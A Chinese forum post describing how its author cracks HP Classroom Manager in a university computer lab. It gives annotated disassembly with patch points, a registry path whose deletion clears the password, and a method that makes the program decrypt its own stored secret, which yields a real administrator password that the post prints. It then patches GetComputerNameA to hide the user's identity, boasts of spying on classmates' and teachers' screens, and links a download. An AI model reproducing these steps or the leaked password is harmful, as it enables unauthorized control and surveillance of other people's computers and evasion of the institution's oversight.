好友
阅读权限 10
听众
最后登录 1970-1-1
西交范略
发表于 2016-12-11 14:44
本帖最后由 西交范略 于 2016-12-12 18:48 编辑
HP Classroom Manager是惠普推出的一款课堂管理软件,用于控制教室、管理课堂 PC 并进行交流。 获得直观、易用的体验,提高学生学习水平。
这款软件在学校的机房内是装在每一台电脑上,只要输入了管理员密码即可控制其他客户端,查看、锁定同学们的屏幕,给同学们打开XX网页吓人等等...
打开软件界面如下:
输入密码后弹出错误窗口
选择使用对ShowWindow下断,(也可以使用GetWindowTextA)
通过ShowWindow可以返回到
102746F4 |. 6A 00 |push 0x0
102746F6 |. 68 A7180000 |push 0x18A7
102746FB |. 50 |push eax
102746FC |. 8B08 |mov ecx,dword ptr ds:[eax]
102746FE |. FF51 04 |call dword ptr ds:[ecx+0x4]
10274701 |. 83C4 0C |add esp,0xC //返回到此处
可以看出 |call dword ptr ds:[ecx+0x4]即是弹出错误窗口
往上看来到函数头部10274630
这一部分比较简单,稍作分析可以看懂流程
我已经标注必要的注释
10274651 |> /8B16 /mov edx,dword ptr ds:[esi]
10274653 |. |6A 00 |push 0x0
10274655 |. |8D85 F8FDFFFF |lea eax,[local.130]
1027465B |. |68 00020000 |push 0x200
10274660 |. |50 |push eax
10274661 |. |68 54805910 |push PCICTL.10598054 ; Password
10274666 |. |68 B8CB5310 |push PCICTL.1053CBB8 ; General
1027466B |. |8BCE |mov ecx,esi
1027466D |. |FF52 04 |call dword ptr ds:[edx+0x4] ; 通过注册表判断是否有密码
10274670 |. |8A85 F8FDFFFF |mov al,byte ptr ss:[ebp-0x208]
10274676 |. |84C0 |test al,al
10274678 |. |0F84 9B000000 |je PCICTL.10274719 ; 爆破点1
1027467E |. |8B45 FC |mov eax,[local.1]
10274681 |. |85FF |test edi,edi
10274683 |. |75 03 |jnz short PCICTL.10274688
10274685 |. |8B46 28 |mov eax,dword ptr ds:[esi+0x28]
10274688 |> |8D4D 08 |lea ecx,[arg.1]
1027468B |. |8D95 F8FBFFFF |lea edx,[local.258]
10274691 |. |51 |push ecx
10274692 |. |57 |push edi
10274693 |. |68 00020000 |push 0x200
10274698 |. |52 |push edx
10274699 |. |8D8D F8F9FFFF |lea ecx,[local.386]
1027469F |. |68 00020000 |push 0x200
102746A4 |. |51 |push ecx
102746A5 |. |50 |push eax
102746A6 |. |8BCE |mov ecx,esi
102746A8 |. |E8 23FEFFFF |call PCICTL.102744D0
102746AD |. |85C0 |test eax,eax
102746AF |. |74 5D |je short PCICTL.1027470E
102746B1 |. |8B45 08 |mov eax,[arg.1]
102746B4 |. |85C0 |test eax,eax
102746B6 |. |74 18 |je short PCICTL.102746D0
102746B8 |. |8BD7 |mov edx,edi
102746BA |. |8BCE |mov ecx,esi
102746BC |. |F7DA |neg edx
102746BE |. |1BD2 |sbb edx,edx
102746C0 |. |83E2 08 |and edx,0x8
102746C3 |. |83C2 06 |add edx,0x6
102746C6 |. |52 |push edx
102746C7 |. |E8 64FAFFFF |call PCICTL.10274130
102746CC |. |33DB |xor ebx,ebx
102746CE |. |EB 34 |jmp short PCICTL.10274704
102746D0 |> |8D85 F8FBFFFF |lea eax,[local.258]
102746D6 |. |8D8D F8F9FFFF |lea ecx,[local.386]
102746DC |. |50 |push eax
102746DD |. |8D95 F8FDFFFF |lea edx,[local.130]
102746E3 |. |51 |push ecx
102746E4 |. |52 |push edx
102746E5 |. |E8 36742500 |call PCICTL.104CBB20 对比函数
102746EA |. |83C4 0C |add esp,0xC
102746ED |. |85C0 |test eax,eax
102746EF |. |74 28 |je short PCICTL.10274719 ; 判断输入的密码是否正确 爆破点2
102746F1 |. |8B45 F8 |mov eax,[local.2]
102746F4 |. |6A 00 |push 0x0
102746F6 |. |68 A7180000 |push 0x18A7
102746FB |. |50 |push eax
102746FC |. |8B08 |mov ecx,dword ptr ds:[eax]
102746FE |. |FF51 04 |call dword ptr ds:[ecx+0x4] ; 弹出错误提示
10274701 |. |83C4 0C |add esp,0xC
10274704 |> |43 |inc ebx
10274705 |. |83FB 03 |cmp ebx,0x3 ; 密码输入机会为3次
10274708 |.^\0F8C 43FFFFFF \jl PCICTL.10274651
除了通过修改程序 直接将注册表HKEY_CURRENT_USER\SOFTWARE\NetSupport Ltd\PCICTL\ConfigList\HP Classroom Manager\General\Password项清除亦可以达到破解 的效果
接下来研究一下真码
从call 102744D0 F8步过以后则可以看见加密后的文本
密文的长度为28位
看来并非明码比较 而是将输入的密码加密后与正确密码加密后的文本进行比较
重新启动程序 下断点F7进入call 102744D0一路F8
到10274574 |. E8 E73B1500 call PCICTL.103C8160 停下输入密码后继续F8
来到此处:
102745D3 |> \8B4D 0C mov ecx,[arg.2]
102745D6 |. 8DBE 70010000 lea edi,dword ptr ds:[esi+0x170]
102745DC |. 53 push ebx
102745DD |. 51 push ecx
102745DE |. 57 push edi
102745DF |. 6A 00 push 0x0
102745E1 |. E8 1AA81A00 call PCICTL.1041EE00 这个call会生成一些文本,但似乎与验证过程无关
102745E6 |. 8B55 18 mov edx,[arg.5]
102745E9 |. 8B45 14 mov eax,[arg.4] ; eax用于存放密文
102745EC |. 6A 00 push 0x0
102745EE |. 6A 00 push 0x0
102745F0 |. 52 push edx
102745F1 |. 50 push eax
102745F2 |. 57 push edi
102745F3 |. E8 A8F40500 call PCICTL.102D3AA0 跟入这个call
102745F8 |. 83C4 24 add esp,0x24
102745FB |. C745 FC FFFFF>mov [local.1],-0x1
10274602 |. 85F6 test esi,esi
10274604 |. 74 0C je short PCICTL.10274612
10274606 |> 8B16 mov edx,dword ptr ds:[esi]
10274608 |. 6A 01 push 0x1
1027460A |. 8BCE mov ecx,esi
1027460C |. FF92 04010000 call dword ptr ds:[edx+0x104]
10274612 |> 8B4D F4 mov ecx,[local.3]
10274615 |. 5F pop edi
10274616 |. 5E pop esi
10274617 |. B8 01000000 mov eax,0x1
1027461C |. 64:890D 00000>mov dword ptr fs:[0],ecx
10274623 |. 5B pop ebx
10274624 |. 8BE5 mov esp,ebp
10274626 |. 5D pop ebp
10274627 \. C2 1C00 retn 0x1C
进入102D3AA0后可以继续单步分析 可以注意到有两个关键的地方
102D3B63 |. FF50 04 call dword ptr ds:[eax+0x4] ; 生成key
102D3B66 |. 8BD0 mov edx,eax
102D3B68 |. 8D85 E8FDFFFF lea eax,[local.134]
102D3B6E |. 8955 14 mov [arg.4],edx
102D3B71 |. B9 00020000 mov ecx,0x200
102D3B76 |> C600 00 /mov byte ptr ds:[eax],0x0
102D3B79 |. 40 |inc eax
102D3B7A |. 49 |dec ecx
102D3B7B |.^ 75 F9 \jnz short PCICTL.102D3B76
102D3B7D |. 8B45 F0 mov eax,[local.4]
102D3B80 |. 50 push eax
102D3B81 |. 52 push edx
102D3B82 |. E8 59A61F00 call PCICTL.104CE1E0 ; 根据Key获得最终的密文
首先跟入生成Key的地方看一看
地址是102D3470
能看到一堆字符102D34F9 |. 81FB A41B5A10 |cmp ebx,PCICTL.105A1BA4 ; ASCII 44,"DES key is %02x %02x %02x %02x %02x %02x %02x %02x"似乎和DES算法有关,我们先继续跟踪
102D368F |. 6A 01 push 0x1
102D3691 |. 8D95 50FFFFFF lea edx,[local.44]
102D3697 |. 8D0CC5 241B5A>lea ecx,dword ptr ds:[eax*8+0x105A1B24]
102D369E |. 8B45 F4 mov eax,[local.3]
102D36A1 |. 51 push ecx ; ecx=105A1B24 是一个码表
102D36A2 |. 52 push edx
102D36A3 |. 8B55 FC mov edx,[local.1]
102D36A6 |. 8D0C33 lea ecx,dword ptr ds:[ebx+esi]
102D36A9 |. 50 push eax
102D36AA |. 51 push ecx
102D36AB |. 52 push edx
102D36AC |. E8 0F55F4FF call PCICTL.10218BC0 ; 得到KEY 保存在ebx中
102D36B1 |. 8B4D 0C mov ecx,[arg.2]
102D36B4 |. 66:C703 7600 mov word ptr ds:[ebx],0x76 注意这一句,最初得到的Key还会被额外添加76 00 00 00
最终生成的Key是
这个生成Key的具体算法我们先不管推测和DES有关,继续往后看。
102D3B80 |. 50 push eax ; eax=14h 这也是KEY的长度
102D3B81 |. 52 push edx ; edx=key
102D3B82 |. E8 59A61F00 call PCICTL.104CE1E0 ; 根据Key获得最终的密文
我们生成的Key是20位 最终可以产生28位的密文
进入104CE1E0
算法并不长,也很直观
有一个表:ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789()
从Key中依次取出每一个Byte
dl=al=byte[1]
and dl,0x3
sar al,0x2
按dl查表
dl=al=byte[2]
and al,0xF
sar dl,0x4
shl edi,0x4
按edi+edx查表
edi=dl=byte[3]
edi=dl
and edi,3F
sar edx,0x6
按edx+eax*4查表
再按edi查表
如果取出的是最后一个byte会清零eax或edi
每3个byte可以得到4位的密文 当最后一次只剩2个byte时也可以取出4位密文
因此20位的key可以得到4*[20/3]+4=28位的密文
这个算法应该是不可逆的,只能构造Key进行穷举与正确密文dgAAAGBDOYa6(fsRpLhwATwQN48A进行对比
穷举应该不难,可以得到其对应的Key为76 00 00 00 60 43 39 86 BA F9 FB 11 A4 B8 70 01 3C 10 37 8F
拿到Key过后,本应该跟入生成Key的算法,继续进行分析并解密以得到明文
但其实程序是自带解密的
102D368F |. 6A 01 push 0x1 注意到这个地方
1代表加密 我们将其改成0 就可以让程序进行解密 在此处下断点
重新运行程序任意输入密码
102D368F 6A 00 push 0x0 *******注意已经将push 1改成了push 0
102D3691 |. 8D95 50FFFFFF lea edx,[local.44]
102D3697 |. 8D0CC5 241B5A>lea ecx,dword ptr ds:[eax*8+0x105A1B24]
102D369E |. 8B45 F4 mov eax,[local.3]
102D36A1 |. 51 push ecx ; ecx=105A1B24 是一个码表
102D36A2 |. 52 push edx
102D36A3 |. 8B55 FC mov edx,[local.1]
102D36A6 |. 8D0C33 lea ecx,dword ptr ds:[ebx+esi]
102D36A9 |. 50 push eax
102D36AA |. 51 push ecx
102D36AB |. 52 push edx ; 将这个edx的值改成你的Key 注意要去掉76000000,因为76000000是后来硬添加的。
102D36AC |. E8 0F55F4FF call PCICTL.10218BC0 ;
把edx改成60 43 39 86 BA F9 FB 11 A4 B8 70 01 3C 10 37 8F
然后F8步过call 10218BC0
奇迹出现了
ebx内容变为
00 00 00 00 58 4A 54 55 41 44 4D 49 4E 00 00 00
以文本形式查看
020C6E48 ....XJTUADMIN...
答案就是XJTUADMIN
测试一下 发现是正确的。
至此可以尽情窥屏了,黑屏老师的电脑也是可以的。。。。
不过老师是可以看到你的计算机名的,顺着其中的座位号就可以来砍你了。
解决方法:在GetComPuterNameA补入如下代码
74FDF4B0 > 33C0 xor eax,eax
74FDF4B2 894424 04 mov dword ptr ss:[esp+0x4],eax
74FDF4B6 C2 0800 retn 0x8
此时你的名字就是:
操作员
最后一图:窥屏看到一位在机房下片的老哥
补一个下载地址:
http://pan.baidu.com/s/1dF1deP7 密码:py3d
免费评分
查看全部评分